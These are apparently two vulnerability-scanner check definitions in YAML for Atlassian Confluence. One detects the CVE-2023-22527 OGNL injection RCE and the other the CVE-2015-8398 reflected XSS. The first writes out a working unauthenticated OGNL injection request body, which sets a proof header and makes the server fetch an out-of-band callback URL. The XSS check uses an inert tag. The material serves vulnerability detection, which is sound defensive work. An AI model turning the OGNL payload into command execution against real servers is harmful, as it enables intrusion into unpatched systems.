name: "Atlassian Confluence text-inline.vm OGNL injection RCE (CVE-2023-22527)"
description: |
Tests Atlassian Confluence Data Center & Server for unauthenticated OGNL
template injection through the `label` parameter of
POST /template/aui/text-inline.vm. The injected expression asks the server to
multiply two random numbers chosen for this scan and return the result in a
response header; the finding is reported only when that header carries the
exact product, which proves the server evaluated attacker-supplied OGNL
(code execution). When an out-of-band callback server is configured, the
same expression also makes the server fetch a unique callback URL. No
command is executed and nothing is written on the target.
cves: [CVE-2023-22527]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [confluence, ognl, velocity, ssti, rce, java, atlassian, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-22527"
- "https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html"
- "https://jira.atlassian.com/browse/CONFSERVER-93833"
- "https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# Random operands for this run (Java int: a*b must stay below 2^31).
- id: calc
action: script
code: |
let a = rand_int(10007, 46337);
let b = rand_int(10007, 46337);
#{ a: a.to_string(), b: b.to_string(), product: (a * b).to_string() }
store_as: calc
- id: init-proof
action: set_var
var_name: proof
var_value: "none"
# ── In-band: OGNL sets X-Noctis-Proof to a*b ─────────────────────────────
# Tried at the web root and under /confluence (a common context path). Each
# pass resets the stored reply first, so a failed request never leaves a
# previous pass's result (or an undefined variable) behind.
- id: init-ognl-resp
action: set_var
var_name: ognl_resp
var_value: {status: 0, headers: {}}
loop:
over: ["", "/confluence"]
var: ctx
# label closes the OGNL string and evaluates #parameters.noctis[0] through the
# raw OGNL evaluator; `%2b` is a literal "+" (form decoding turns "+" into a
# space). \u0027 is a quote the OGNL parser decodes itself.
- id: ognl-probe
action: http_request
method: POST
path: "{{ctx}}/template/aui/text-inline.vm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "label=noctis\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.noctis[0],{})%2b\\u0027&noctis=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\\u0027X-Noctis-Proof\\u0027,\\u0027\\u0027%2b({{calc.a}}*{{calc.b}}))"
store_as: ognl_resp
# Verdict driven by our own product: the header must carry exactly a*b.
- id: evaluate
action: script
code: |
let h = ognl_resp.headers;
if ognl_resp.status != 0 && "x-noctis-proof" in h && h["x-noctis-proof"] == calc.product { "NOCTIS_OGNL_EVALUATED" } else { "none" }
store_as: proof
- id: ognl-confirmed
action: match
source: proof
pattern: "^NOCTIS_OGNL_EVALUATED$"
on_match:
finding:
confidence_delta: 0.75
qod: 97
evidence: "POST {{ctx}}/template/aui/text-inline.vm evaluated injected OGNL: X-Noctis-Proof = {{calc.a}}*{{calc.b}} = {{calc.product}} (status {{ognl_resp.status}})"
stop: true
# ── OOB: the same sink fetches the OOB URL (no command execution) ────────
# Sent to both context paths; the single wait_oob below runs after the loop.
- id: init-oob-ctx
action: set_var
var_name: oob_ctx
var_value: "x"
condition: "oob_enabled"
loop:
over: ["", "/confluence"]
var: ctx
- id: ognl-oob-probe
action: http_request
method: POST
path: "{{ctx}}/template/aui/text-inline.vm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "label=noctis\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.noctis[0],{})%2b\\u0027&noctis=(new%20java.net.URL(\\u0027http://{{oob_host}}:{{oob_port}}/{{oob_token}}\\u0027)).openStream().close()"
store_as: oob_probe_resp
condition: "oob_enabled"
- id: wait-oob-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled"
on_success:
finding:
confidence_delta: 0.75
qod: 97
evidence: "Confluence evaluated injected OGNL on /template/aui/text-inline.vm and fetched the OOB URL: {{oob_result.method}} request, headers {{oob_result.headers}}"
stop: trueAtlassian Confluence REST API Reflected XSS and Decorator IDOR
| CVE | CVE-2015-8398, CVE-2015-8399 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/confluence/CVE-2015-8398.yaml |
Tests Atlassian Confluence for the unauthenticated reflected XSS in the prototype REST API endpoint /rest/prototype/1/session/check/{username} (CVE-2015-8398, reported together with the decorator IDOR CVE-2015-8399). Sends an inert per-run HTML tag as the username and confirms it is reflected unescaped inside the "Expected user" message.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{ctx}}/rest/prototype/1/session/check/noctis%3Cnoctis{{tok}}%3E HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
resp.bannerforExpected user→ finding QoD 75: Reflected XSS confirmed — …/rest/prototype/1/session/check/ echoed the inert tag <noctis…> unescaped: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-8398
- https://nvd.nist.gov/vuln/detail/CVE-2015-8399
- https://jira.atlassian.com/browse/CONFSERVER-39689
- https://www.exploit-db.com/exploits/39170
Feed source — tests/vulnerabilities/confluence/CVE-2015-8398.yaml
# Atlassian Confluence REST API Reflected XSS (CVE-2015-8398) + decorator IDOR (CVE-2015-8399)
#
# Confluence 5.2 / 5.8.14 / 5.8.15 / 5.9.1 (fixed in 5.8.17 / 5.9.x) echo the
# {username} path parameter of the unauthenticated prototype REST endpoint
# /rest/prototype/1/session/check/{username} back into the "Expected user ..."
# message without HTML-encoding it — a reflected XSS (CVE-2015-8398, SEC-490).
# The same advisory (EDB-39170) covers an authenticated IDOR in
# viewdefaultdecorator.action?decoratorName= (CVE-2015-8399); the OpenVAS NVT
# reports both CVEs from the XSS check alone, and so does this feed.
#
# Detection (QoD 75 — response analysis, benign proof):
# A per-run token is minted (rand_hex) and an INERT tag `<noctis<tok>>` is
# sent as the username, URL-encoded exactly like the NASL payload. The host
# is vulnerable when the reply carries the NASL's "Expected user" text AND the
# tag comes back with its angle brackets intact (a fixed build returns
# `<noctis<tok>>` or rejects the request). Nothing is executed: the tag
# has no attribute or handler.
#
# Better than the NASL (gb_confluence_xss_vuln.nasl):
# - per-run random marker instead of the static alert(document.cookie) string,
# so a cached/canned page quoting the public PoC cannot produce a finding;
# - the NASL only probes the context path found by its Confluence detection
# NVT; this feed also tries the usual reverse-proxy context paths
# (/confluence, /wiki), so it needs no prior product detection;
# - the match does not depend on the HTTP status (an error-status reflection
# is just as exploitable in a browser).
#
# Encoded payload in the path → verbatim HTTP/1.0 via tcp_connect (reqwest
# would normalise %xx), matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_confluence_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.806815, GPL-2.0-only).
uid: cfd43c09-0e8a-47ae-a5ce-5d3fdcba3e32
name: "Atlassian Confluence REST API Reflected XSS and Decorator IDOR (CVE-2015-8398, CVE-2015-8399)"
description: |
Tests Atlassian Confluence for the unauthenticated reflected XSS in the
prototype REST API endpoint /rest/prototype/1/session/check/{username}
(CVE-2015-8398, reported together with the decorator IDOR CVE-2015-8399).
Sends an inert per-run HTML tag as the username and confirms it is reflected
unescaped inside the "Expected user" message.
cves: [CVE-2015-8398, CVE-2015-8399]
cvss: 4.3
severity: medium
confidence_base: 0.30
category: xss
tags: [confluence, atlassian, xss, reflected-xss, rest-api, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-8398"
- "https://nvd.nist.gov/vuln/detail/CVE-2015-8399"
- "https://jira.atlassian.com/browse/CONFSERVER-39689"
- "https://www.exploit-db.com/exploits/39170"
- "OpenVAS/Greenbone NASL 2016/gb_confluence_xss_vuln.nasl (GPL-2.0-only)"
steps:
# Per-run token: rand_hex(12) => 24 lowercase hex chars.
- id: mint-token
action: script
code: 'rand_hex(12)'
store_as: tok
# ── Loop group: every step below runs once per candidate context path ────
# Pre-initialise the stored result so a refused connection never leaves
# `resp` undefined for the verify script (which would abort the test).
- id: init-resp
action: set_var
var_name: resp
var_value: {connected: false, banner: null}
loop:
over: ["", "/confluence", "/wiki"]
var: ctx
- id: xss-probe
action: tcp_connect
port: "{{port}}"
send: "GET {{ctx}}/rest/prototype/1/session/check/noctis%3Cnoctis{{tok}}%3E HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: text/html,*/*\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: resp
# Raw tag reflected (angle brackets intact) inside the Confluence message
# (the NASL extra_check "Expected user"). An HTML-encoded echo
# (<noctis…>) does not contain the raw tag and does not match.
- id: verify
action: script
code: |
let b = resp.banner;
if type_of(b) != "string" { false }
else { stridx(b, "<noctis" + tok + ">") >= 0 && stridx(b, "Expected user") >= 0 }
store_as: xss_hit
- id: xss-match
action: match
source: resp.banner
pattern: "Expected user"
condition: "xss_hit == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Reflected XSS confirmed — {{ctx}}/rest/prototype/1/session/check/ echoed the inert tag <noctis{{tok}}> unescaped: {{resp.banner}}"
stop: true